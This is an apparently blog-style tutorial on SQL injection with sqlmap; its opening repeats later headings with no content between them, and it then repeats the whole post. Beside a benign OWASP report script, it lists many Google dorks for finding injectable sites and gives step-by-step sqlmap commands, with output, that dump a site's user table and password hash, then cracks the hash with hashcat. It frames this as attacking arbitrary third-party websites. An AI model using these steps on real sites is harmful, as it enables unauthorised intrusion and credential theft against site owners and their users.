HI friends
if you were buzzed about how to simulate sql injection or attack/test a website using sql injection this article is for u
There were several tools to perform sql injection ,but inorder to automate there were tools like : sqlmap,bbqsql etc
SQLMap Tutorial :
For your reference of sqlmap cheatsheet available over here
The simple command to test using sqlmap was as follows :
Options used to specify HTTP communication behaviors:
Options used to specify audit behaviors:
Options used to specify scan information's' saving behaviors:
Extract from SQLMap documentation about SQL injection techniques identified by B/E/U/S/T (http://sqlmap.sourceforge.net/doc/README.html#toc1.3):
The script use an external CSS file named "style.css" (located into the same location than the report) to format report.
A CSS sample is available below:
if you were looking for practical example this would be a good one :
So here goes:
Let’s say you searched using this string
So now your URL will become like this:
See example error below in the screenshot. I’ve obscured everything including URL and page design for obvious reasons.
Examples of SQLi Errors from Different Databases and Languages
Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.
Run the following command on your vulnerable website with.
See screenshot below.
This commands reveals quite a few interesting info:
and of course we want to check whats inside
This returns 5 entries from target table
AHA! This is exactly what we are looking for … target table
Guess what, we now have the username from the database:
Almost there, we now only need the password to for this user.. Next shows just that..
TADA!! We have password.
But hang on, this password looks funny. This can’t be someone’s password.. Someone who leaves their website vulnerable like that just can’t have a password like that.
That is exactly right. This is a hashed password. What that means, the password is encrypted and now we need to decrypt it.
I have covered how to decrypt password extensively on this Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linux post. If you’ve missed it, you’re missing out a lot.
I will cover it in short here but you should really learn how to use hashcat.
Excellent. So this is DES(Unix) hash.
So it’s either 1500 or 3100. But it was a MYSQL Database, so it must be 1500.
I am running a Computer thats got NVIDIA Graphics card. That means I will be using cudaHashcat. On my laptop, I got an AMD ATI Graphics cards, so I will be using oclHashcat on my laptop. If you’re on VirtualBox or VMWare, neither cudahashcat nor oclhashcat will work. You must install Kali in either a persisitent USB or in Hard Disk. Instructions are in the website, search around.
I saved the hash value
Interesting find: Usuaul Hashcat was unable to determine the code for DES hash. (not in it’s help menu). Howeverm both cudaHashcat and oclHashcat found and cracked the key.
Anyhow, so here’s the cracked password: abc123.
Sweet, we now even have the password for this user.
Note : If you were using kali linux 2.0 then cudahashcat would be "hashcat"
source : darkmeops,owsap,stackoverflow
hope it helps
if you were buzzed about how to simulate sql injection or attack/test a website using sql injection this article is for u
There were several tools to perform sql injection ,but inorder to automate there were tools like : sqlmap,bbqsql etc
SQLMap Tutorial :
For your reference of sqlmap cheatsheet available over here
The simple command to test using sqlmap was as follows :
python sqlmap.py -v 2 --url=http://mysite.com/index --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --dbms=MySQL --os=Linux --level=5 --risk=4 --banner --is-dba --dbs --tables --technique=BEUST -s /tmp/scan_report.txt --flush-session -t /tmp/scan_trace.txt --fresh-queries > /tmp/scan_out.txt
if you were using kali linux(All in single line) paste it to terminal :
From owsap the explanation would be as follows :
sqlmap -v 2 --url=http://mysite.com/index --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --dbms=MySQL --os=Linux --level=5 --risk=4 --banner --is-dba --dbs --tables --technique=BEUST -s /tmp/scan_report.txt --flush-session -t /tmp/scan_trace.txt --fresh-queries > /tmp/scan_out.txt
Options used to specify HTTP communication behaviors:
- -v: Set the verbosity level of output messages (Option details section).
- --url: Run sqlmap against a single target URL (Option details section).
- --user-agent: Providing custom User-Agent (Option details section).
- --delay: Number of seconds to hold between each HTTP(S) request (Option details section).
- --timeout: Number of seconds to wait before considering the HTTP(S) request timed out (Option details section).
- --retries: Maximum number of retries when the HTTP(S) connection timeouts (Option details section).
- --keep-alive: Use persistent HTTP(s) connections (Option details section).
- --threads: Maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do (Option details section).
- --eta: Calculate and show in real time the estimated time of arrival to retrieve each query output. This is shown when the technique used to retrieve the output is any of the blind SQL injection type (Option details section).
- --batch: This will leave sqlmap to go with a default behaviour whenever user's input would be required (Option details section).
Options used to specify audit behaviors:
- --dbms: Force back-end DBMS to this value (Option details section).
- --os: Force back-end DBMS operating system to this value (Option details section).
- --level: Level of tests to perform from 1 to 5, default is 1 (Option details section).
- --risk: Specifies the risk of tests to perform from 1 to 3, default is 1 (Option details section).
- --banner: Try to retrieve the database management systems product banner (Option details section).
- --is-dba: Detect if the current database management system session user is a database administrator (Option details section).
- --dbs: Try to enumerate the list of databases (Option details section).
- --tables: Try to enumerate DBMS database tables (Option details section).
- --technique: SQL injection techniques to test for, default is BEUST (Option details section),
- B: Boolean-based blind SQL injection
- E: Error-based SQL injection
- U: UNION query SQL injection
- S: Stacked queries SQL injection
- T: Time-based blind SQL injection
Options used to specify scan information's' saving behaviors:
- -s: Save and resume all data retrieved on a session file (Option details section).
- --flush-session: Flush the content of file specified by '-s' in order to avoid the caching mechanisms implemented by default in sqlmap (Option details section).
- -t: Log all HTTP traffic into a textual file (Option details section).
- --fresh-queries: Ignores query results stored in session file (Option details section).
Extract from SQLMap documentation about SQL injection techniques identified by B/E/U/S/T (http://sqlmap.sourceforge.net/doc/README.html#toc1.3):
[B]oolean-based blind SQL injection, also known as inferential SQL injection: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a SELECT sub-statement, or any other SQL statement whose the user want to retrieve the output. For each HTTP response, by making a comparison between the HTTP response headers/body with the original request, the tool inference the output of the injected statement character by character. Alternatively, the user can provide a string or regular expression to match on True pages. The bisection algorithm implemented in sqlmap to perform this technique is able to fetch each character of the output with a maximum of seven HTTP requests. Where the output is not within the clear-text plain charset, sqlmap will adapt the algorithm with bigger ranges to detect the output. [E]rror-based SQL injection: sqlmap replaces or append to the affected parameter a database-specific syntatically wrong statement and parses the HTTP response headers and body in search of DBMS error messages containing the injected pre-defined chain of characters and the statement output within. This technique works when the web application has been configured to disclose back-end database management system error messages only. [U]NION query SQL injection, also known as inband SQL injection: sqlmap appends to the affected parameter a syntatically valid SQL statement string starting with a UNION ALL SELECT. This techique works when the web application page passes the output of the SELECT statement within a for cycle, or similar, so that each line of the query output is printed on the page content. sqlmap is also able to exploit partial (single entry) UNION query SQL injection vulnerabilities which occur when the output of the statement is not cycled in a for construct whereas only the first entry of the query output is displayed. [S]tacked queries SQL injection, also known as multiple statements SQL injection: sqlmap tests if the web application supports stacked queries then, in case it does support, it appends to the affected parameter in the HTTP request, a semi-colon (;) followed by the SQL statement to be executed. This technique is useful to run SQL statements other than SELECT like, for instance, data definition or data manipulation statements possibly leading to file system read and write access and operating system command execution depending on the underlying back-end database management system and the session user privileges. [T]ime-based blind SQL injection, also known as full blind SQL injection: sqlmap replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a query which put on hold the back-end DBMS to return for a certain number of seconds. For each HTTP response, by making a comparison between the HTTP response time with the original request, the tool inference the output of the injected statement character by character. Like for boolean-based technique, the bisection algorithm is applied.
Report
The python script below can be used to generate a HTML report from the stdout of the command line (redirected to "/tmp/scan_out.txt" in the SQLMap command line):###########################################
# Script to generate a HTML report from a
# SQLMap stdout output
#
# Author : Dominique Righetto
# dominique.righetto@owasp.org
# Date : March 2012
###########################################
import sys
#I/O paths, take SQLMap STDOUT file from script parameter
stdout_file_path = sys.argv[1]
report_file_path = stdout_file_path + ".html"
#Open STDOUT file in read mode
file_handle_read = open(stdout_file_path,"r")
#Open REPORT file in write mode
file_handle_write = open(report_file_path,"w")
#Initialize HTML report stream
file_handle_write.write("<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">")
file_handle_write.write("<head><link rel=\"StyleSheet\" href=\"style.css\" type=\"text/css\" media=\"screen\" /><title>SQLMap HTML Report</title></head>")
file_handle_write.write("<body><table id=\"myStyle\">")
file_handle_write.write("<thead><tr><th scope=\"col\">Test datetime</th><th scope=\"col\">Test description</th></tr></thead>")
file_handle_write.write("<tbody>")
#Flag to know is global audit is OK
cannot_find_injectable_parameter = False
#Read STDOUT file line by line
for line in file_handle_read:
if (line.strip().startswith("[")) and (line.find("[*]") == -1):
#Check for special message indicating audit global status
if(line.lower().find("all parameters are not injectable") > -1):
cannot_find_injectable_parameter = True
#Report generation
line_part = line.strip().split(" ")
if (line_part[2].lower() == "testing"):
#Extract useful informations
execution_datatime = line_part[0]
execution_trace = ""
count = 2
while(count < len(line_part)):
execution_trace = execution_trace + " " + line_part[count]
count = count + 1
#Write report HTML line
file_handle_write.write("<tr><td>" + line_part[0] + "</td><td>" + execution_trace + "</td></tr>")
file_handle_write.write("</tbody></table>")
#Write global audit stauts line
if(cannot_find_injectable_parameter):
file_handle_write.write("<h1 class=\"success\">SQLMap cannot find injectable parameters !</h1>")
else:
file_handle_write.write("<h1 class=\"fail\">SQLMap can find injectable parameters !</h1>")
#Finalize report HTML stream
file_handle_write.write("</body></html>")
#Close I/O stream
file_handle_write.close()
file_handle_read.close()
#Print some informations
print "Report generated to " + report_file_path
To generate the report use the command line below:
python SQMReportGenerator.py /tmp/scan_out.txtThe report will be generated into the same location than the input file using source file name and adding ".html" extension as report name.
The script use an external CSS file named "style.css" (located into the same location than the report) to format report.
A CSS sample is available below:
body
{
line-height: 1.6em;
}
.success
{
font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
text-align: center;
color: green;
}
.fail
{
font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
text-align: center;
color: red;
}
#myStyle
{
font-family: "Lucida Sans Unicode", "Lucida Grande", Sans-Serif;
font-size: 12px;
margin: 45px;
width: 75%;
text-align: left;
border-collapse: collapse;
border: 1px solid #6cf;
}
#myStyle th
{
padding: 20px;
font-weight: normal;
font-size: 13px;
color: #039;
text-transform: uppercase;
text-align: center;
border-right: 1px solid #0865c2;
border-top: 1px solid #0865c2;
border-left: 1px solid #0865c2;
border-bottom: 1px solid #fff;
}
#myStyle td
{
padding: 10px 20px;
color: #669;
border-right: 1px dashed #6cf;
}
Example of generated report:
Remark about scan scheduling
The scan take a while then it's recommended to schedule is execution:- During the night for a daily audit case.
- During the week-end for a weekly audit case.
if you were looking for practical example this would be a good one :
What is SQLMAP
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.Features
- Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
- Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
- Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
- Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
- Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
- Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.
- Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain string like name and pass.
- Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
- Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.
- Support for database process’ user privilege escalation via Metasploit’s Meterpreter getsystem command.
So here goes:
Contents [hide]
- What is SQLMAP
- Step 1: Find a Vulnerable Website
- Step 2: List DBMS databases using SQLMAP SQL Injection
- Step 3: List tables of target database using SQLMAP SQL Injection
- Step 4: List columns on target table of selected database using SQLMAP SQL Injection
- Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection
- Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection
- Step 7: Cracking password
- Conclusion
Step 1: Find a Vulnerable Website
This is usually the toughest bit and takes longer than any other steps. Those who know how to use Google Dorks knows this already, but in case you don’t I have put together a number of strings that you can search in Google. Just copy paste any of the lines in Google and Google will show you a number of search results.Step 1.a: Google Dorks strings to find Vulnerable SQLMAP SQL injectable website
This list a really long.. Took me a long time to collect them. If you know SQL, then you can add more here.. Put them in comment section and I will add them here.| Google Dork string Column 1 | Google Dork string Column 2 | Google Dork string Column 3 |
|---|---|---|
| inurl:item_id= | inurl:review.php?id= | inurl:hosting_info.php?id= |
| inurl:newsid= | inurl:iniziativa.php?in= | inurl:gallery.php?id= |
| inurl:trainers.php?id= | inurl:curriculum.php?id= | inurl:rub.php?idr= |
| inurl:news-full.php?id= | inurl:labels.php?id= | inurl:view_faq.php?id= |
| inurl:news_display.php?getid= | inurl:story.php?id= | inurl:artikelinfo.php?id= |
| inurl:index2.php?option= | inurl:look.php?ID= | inurl:detail.php?ID= |
| inurl:readnews.php?id= | inurl:newsone.php?id= | inurl:index.php?= |
| inurl:top10.php?cat= | inurl:aboutbook.php?id= | inurl:profile_view.php?id= |
| inurl:newsone.php?id= | inurl:material.php?id= | inurl:category.php?id= |
| inurl:event.php?id= | inurl:opinions.php?id= | inurl:publications.php?id= |
| inurl:product-item.php?id= | inurl:announce.php?id= | inurl:fellows.php?id= |
| inurl:sql.php?id= | inurl:rub.php?idr= | inurl:downloads_info.php?id= |
| inurl:index.php?catid= | inurl:galeri_info.php?l= | inurl:prod_info.php?id= |
| inurl:news.php?catid= | inurl:tekst.php?idt= | inurl:shop.php?do=part&id= |
| inurl:index.php?id= | inurl:newscat.php?id= | inurl:productinfo.php?id= |
| inurl:news.php?id= | inurl:newsticker_info.php?idn= | inurl:collectionitem.php?id= |
| inurl:index.php?id= | inurl:rubrika.php?idr= | inurl:band_info.php?id= |
| inurl:trainers.php?id= | inurl:rubp.php?idr= | inurl:product.php?id= |
| inurl:buy.php?category= | inurl:offer.php?idf= | inurl:releases.php?id= |
| inurl:article.php?ID= | inurl:art.php?idm= | inurl:ray.php?id= |
| inurl:play_old.php?id= | inurl:title.php?id= | inurl:produit.php?id= |
| inurl:declaration_more.php?decl_id= | inurl:news_view.php?id= | inurl:pop.php?id= |
| inurl:pageid= | inurl:select_biblio.php?id= | inurl:shopping.php?id= |
| inurl:games.php?id= | inurl:humor.php?id= | inurl:productdetail.php?id= |
| inurl:page.php?file= | inurl:aboutbook.php?id= | inurl:post.php?id= |
| inurl:newsDetail.php?id= | inurl:ogl_inet.php?ogl_id= | inurl:viewshowdetail.php?id= |
| inurl:gallery.php?id= | inurl:fiche_spectacle.php?id= | inurl:clubpage.php?id= |
| inurl:article.php?id= | inurl:communique_detail.php?id= | inurl:memberInfo.php?id= |
| inurl:show.php?id= | inurl:sem.php3?id= | inurl:section.php?id= |
| inurl:staff_id= | inurl:kategorie.php4?id= | inurl:theme.php?id= |
| inurl:newsitem.php?num= | inurl:news.php?id= | inurl:page.php?id= |
| inurl:readnews.php?id= | inurl:index.php?id= | inurl:shredder-categories.php?id= |
| inurl:top10.php?cat= | inurl:faq2.php?id= | inurl:tradeCategory.php?id= |
| inurl:historialeer.php?num= | inurl:show_an.php?id= | inurl:product_ranges_view.php?ID= |
| inurl:reagir.php?num= | inurl:preview.php?id= | inurl:shop_category.php?id= |
| inurl:Stray-Questions-View.php?num= | inurl:loadpsb.php?id= | inurl:transcript.php?id= |
| inurl:forum_bds.php?num= | inurl:opinions.php?id= | inurl:channel_id= |
| inurl:game.php?id= | inurl:spr.php?id= | inurl:aboutbook.php?id= |
| inurl:view_product.php?id= | inurl:pages.php?id= | inurl:preview.php?id= |
| inurl:newsone.php?id= | inurl:announce.php?id= | inurl:loadpsb.php?id= |
| inurl:sw_comment.php?id= | inurl:clanek.php4?id= | inurl:pages.php?id= |
| inurl:news.php?id= | inurl:participant.php?id= | |
| inurl:avd_start.php?avd= | inurl:download.php?id= | |
| inurl:event.php?id= | inurl:main.php?id= | |
| inurl:product-item.php?id= | inurl:review.php?id= | |
| inurl:sql.php?id= | inurl:chappies.php?id= | |
| inurl:material.php?id= | inurl:read.php?id= | |
| inurl:clanek.php4?id= | inurl:prod_detail.php?id= | |
| inurl:announce.php?id= | inurl:viewphoto.php?id= | |
| inurl:chappies.php?id= | inurl:article.php?id= | |
| inurl:read.php?id= | inurl:person.php?id= | |
| inurl:viewapp.php?id= | inurl:productinfo.php?id= | |
| inurl:viewphoto.php?id= | inurl:showimg.php?id= | |
| inurl:rub.php?idr= | inurl:view.php?id= | |
| inurl:galeri_info.php?l= | inurl:website.php?id= |
Step 1.b: Initial check to confirm if website is vulnerable to SQLMAP SQL Injection
For every string show above, you will get huundreds of search results. How do you know which is really vulnerable to SQLMAP SQL Injection. There’s multiple ways and I am sure people would argue which one is best but to me the following is the simplest and most conclusive.Let’s say you searched using this string
inurl:item_id= and one of the search result shows a website like this:http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15Just add a single quotation mark
' at the end of the URL. (Just to ensure, " is a double quotation mark and ' is a single quotation mark).So now your URL will become like this:
http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'If the page returns an SQL error, the page is vulnerable to SQLMAP SQL Injection. If it loads or redirect you to a different page, move on to the next site in your Google search results page.
See example error below in the screenshot. I’ve obscured everything including URL and page design for obvious reasons.
Examples of SQLi Errors from Different Databases and Languages
Microsoft SQL Server
Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.MySQL Errors
Warning:
mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /var/www/myawesomestore.com/buystuff.php on line 12Error:
You have an error in your SQL syntax: check the manual that corresponds
to your MySQL server version for the right syntax to use near ‘’’ at
line 12Oracle Errors
java.sql.SQLException:
ORA-00933: SQL command not properly ended at
oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at
oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminatedPostgreSQL Errors
Query failed: ERROR: unterminated quoted string at or near “‘’’”Step 2: List DBMS databases using SQLMAP SQL Injection
As you can see from the screenshot above, I’ve found a SQLMAP SQL Injection vulnerable website. Now I need to list all the databases in that Vulnerable database. (this is also called enumerating number of columns). As I am using SQLMAP, it will also tell me which one is vulnerable.Run the following command on your vulnerable website with.
sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --dbsIn here:
sqlmap = Name of sqlmap binary file-u = Target URL (e.g. “http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15”)--dbs = Enumerate DBMS databasesSee screenshot below.
This commands reveals quite a few interesting info:
web application technology: Apache back-end DBMS: MySQL 5.0 [10:55:53] [INFO] retrieved: information_schema [10:55:56] [INFO] retrieved: sqldummywebsite [10:55:56] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.sqldummywebsite.com'So, we now have two database that we can look into.
information_schema is a standard database for almost every MYSQL database. So our interest would be on sqldummywebsite database.Step 3: List tables of target database using SQLMAP SQL Injection
Now we need to know how many tables this sqldummywebsite database got and what are their names. To find out that information, use the following command:sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tablesSweet, this database got 8 tables.
[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite' [10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:56:22] [INFO] the SQL query used returns 8 entries [10:56:25] [INFO] retrieved: item [10:56:27] [INFO] retrieved: link [10:56:30] [INFO] retrieved: other [10:56:32] [INFO] retrieved: picture [10:56:34] [INFO] retrieved: picture_tag [10:56:37] [INFO] retrieved: popular_picture [10:56:39] [INFO] retrieved: popular_tag [10:56:42] [INFO] retrieved: user_info
and of course we want to check whats inside
user_info table using SQLMAP SQL Injection as that table probably contains username and passwords.Step 4: List columns on target table of selected database using SQLMAP SQL Injection
Now we need to list all the columns on target table user_info of sqldummywebsite database using SQLMAP SQL Injection. SQLMAP SQL Injection makes it really easy, run the following command:sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns
This returns 5 entries from target table
user_info of sqldummywebsite database.[10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite' [10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2' [10:57:18] [INFO] the SQL query used returns 5 entries [10:57:20] [INFO] retrieved: user_id [10:57:22] [INFO] retrieved: int(10) unsigned [10:57:25] [INFO] retrieved: user_login [10:57:27] [INFO] retrieved: varchar(45) [10:57:32] [INFO] retrieved: user_password [10:57:34] [INFO] retrieved: varchar(255) [10:57:37] [INFO] retrieved: unique_id [10:57:39] [INFO] retrieved: varchar(255) [10:57:41] [INFO] retrieved: record_status [10:57:43] [INFO] retrieved: tinyint(4)
AHA! This is exactly what we are looking for … target table
user_login and user_password .
Step 5: List usernames from target columns of target table of selected database using SQLMAP SQL Injection
SQLMAP SQL Injection makes is Easy! Just run the following command again:sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump
Guess what, we now have the username from the database:
[10:58:39] [INFO] retrieved: userX [10:58:40] [INFO] analyzing table dump for possible password hashes
Almost there, we now only need the password to for this user.. Next shows just that..
Step 6: Extract password from target columns of target table of selected database using SQLMAP SQL Injection
You’re probably getting used to on how to use SQLMAP SQL Injection tool. Use the following command to extract password for the user.sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump
TADA!! We have password.
[10:59:15] [INFO] the SQL query used returns 1 entries [10:59:17] [INFO] retrieved: 24iYBc17xK0e. [10:59:18] [INFO] analyzing table dump for possible password hashes Database: sqldummywebsite Table: user_info [1 entry] +---------------+ | user_password | +---------------+ | 24iYBc17xK0e. | +---------------+
But hang on, this password looks funny. This can’t be someone’s password.. Someone who leaves their website vulnerable like that just can’t have a password like that.
That is exactly right. This is a hashed password. What that means, the password is encrypted and now we need to decrypt it.
I have covered how to decrypt password extensively on this Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linux post. If you’ve missed it, you’re missing out a lot.
I will cover it in short here but you should really learn how to use hashcat.
Step 7: Cracking password
So the hashed password is 24iYBc17xK0e. . How do you know what type of hash is that?Step 7.a: Identify Hash type
Luckily, Kali Linux provides a nice tool and we can use that to identify which type of hash is this. In command line type in the following command and on prompt paste the hash value:hash-identifier
Excellent. So this is DES(Unix) hash.
Step 7.b: Crack HASH using cudahashcat
First of all I need to know which code to use for DES hashes. So let’s check that:cudahashcat --help | grep DES
So it’s either 1500 or 3100. But it was a MYSQL Database, so it must be 1500.
I am running a Computer thats got NVIDIA Graphics card. That means I will be using cudaHashcat. On my laptop, I got an AMD ATI Graphics cards, so I will be using oclHashcat on my laptop. If you’re on VirtualBox or VMWare, neither cudahashcat nor oclhashcat will work. You must install Kali in either a persisitent USB or in Hard Disk. Instructions are in the website, search around.
I saved the hash value
24iYBc17xK0e. in DES.hash file. Following is the command I am running:cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt
Interesting find: Usuaul Hashcat was unable to determine the code for DES hash. (not in it’s help menu). Howeverm both cudaHashcat and oclHashcat found and cracked the key.
Anyhow, so here’s the cracked password: abc123.
24iYBc17xK0e.:abc123 Sweet, we now even have the password for this user.
Note : If you were using kali linux 2.0 then cudahashcat would be "hashcat"
source : darkmeops,owsap,stackoverflow
hope it helps
